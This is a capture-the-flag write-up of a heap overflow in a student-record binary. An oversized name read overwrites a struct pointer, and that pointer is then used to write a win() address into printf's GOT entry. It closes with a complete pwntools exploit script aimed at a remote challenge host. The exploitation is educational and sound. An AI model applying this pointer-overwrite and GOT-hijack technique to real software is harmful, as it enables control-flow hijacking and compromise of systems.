This challenge presents a student management system with a subtle but exploitable vulnerability. The path to exploitation requires careful binary analysis and understanding of heap memory layout, but once the vulnerability is identified, the solution is straightforward.
The binary provides a menu-driven interface for managing student records. Players can create students, remove them, modify their information, and view student details. Each student appears to have three attributes: a name, a grade level, and a GPA.
The first step is to understand the program's behavior through dynamic analysis. Running the binary and interacting with it reveals the basic functionality. However, to find the vulnerability, static analysis is necessary.
Disassembling the binary reveals several key functions. The most interesting one is the modify student function, which allows changing a student's name, grade level, or GPA.
When examining the modify name functionality, something unusual stands out. The function appears to read more data than expected. By tracing through the disassembly or using a debugger, it becomes clear that when modifying a student's name, the program uses a buffer size that's larger than the name field itself.
The student structure layout can be inferred from the binary's behavior and memory allocations. Analysis reveals:
The fact that grade level is stored as a pointer is unusual and immediately suspicious. Why allocate a separate integer on the heap just to store a grade level? This design choice suggests the pointer might be exploitable.
Through careful analysis of the modify name function, the vulnerability becomes apparent. The function uses sizeof(struct student) as the buffer size when reading the new name, rather than the size of the name field itself.
Since the name field is only 34 bytes but the entire structure is larger (approximately 44 bytes on a 32-bit system, accounting for the name, pointer, float, and padding), this allows writing beyond the bounds of the name array. The overflow can reach into adjacent fields in the structure, specifically the gradelevel pointer that follows the name field in memory.
This is a classic heap overflow vulnerability. By crafting a payload that fills the name buffer and continues writing, an attacker can overwrite the gradelevel pointer with an arbitrary address.
The exploitation path leverages the overflow to achieve arbitrary write, then uses that to hijack control flow:
gradelevel pointer with the address of a GOT entry (printf is a good target since it's called frequently)gradelevel now points to the GOT entry, modifying it writes to that GOT entryprintf is called next (which happens when the menu is displayed), execution jumps to the address written to its GOT entryTo craft the payload correctly, the exact offset to the gradelevel pointer must be determined. The structure layout shows:
name[34] starts at offset 0gradelevel (pointer, 4 bytes) starts at offset 34gpa (float, 4 bytes) starts at offset 38In practice, 34 bytes should be sufficient to reach the pointer, but accounting for potential alignment issues, 36 bytes provides a safer offset. This can be verified through testing or by examining the actual memory layout in a debugger.
Several addresses need to be identified:
objdump -R or by examining the binary's relocation table. The address 0x804c00c is the printf GOT entry.win() function that reads and prints the flag. Its address can be found through disassembly or by searching for the function. The address 0x8049316 corresponds to the win function.The payload construction is straightforward:
address_offset = 36printf_got = 0x804c00cwin_function = 0x8049316payload = b"A"*address_offsetpayload += p32(printf_got)
This creates a payload that fills the name buffer and overwrites the gradelevel pointer with the address of printf's GOT entry.
The full exploit follows this sequence:
win functionWhen modifying the grade level the second time, the program performs scanf("%d", students[modify]->gradelevel). Since gradelevel has been overwritten to point to the GOT entry, this writes the win function address directly into printf's GOT entry.
The next time printf is called (which happens immediately when the menu is displayed), execution jumps to the win function instead, and the flag is printed.
from pwn import *address_offset = 36printf_got = 0x804c00cwin_function = 0x8049316payload = b"A"*address_offsetpayload += p32(printf_got)target = remote("host5.metaproblems.com", 5035)# Create a studenttarget.sendline(b"1")target.recvuntil(b"name?")target.sendline(b"Your about to get pwned :D")target.recvuntil(b"level?")target.sendline(b"12")target.recvuntil(b"GPA?")target.sendline(b"4.0")# Modify the name to overflow and overwrite gradelevel pointertarget.recvuntil(b"> ")target.sendline(b"3")target.recvuntil(b"modify?")target.sendline(b"0")target.recvuntil(b"> ")target.sendline(b"1")target.recvuntil(b": ")target.sendline(payload)# Modify grade level - this now writes to printf's GOT entrytarget.recvuntil(b"> ")target.sendline(b"3")target.recvuntil(b"modify?")target.sendline(b"0")target.recvuntil(b"> ")target.sendline(b"2")target.recvuntil(b": ")target.sendline(str(win_function).encode())# The next printf call will jump to win()flag = target.recvuntil(b"}").split(b'\n')[1]print(flag)target.close()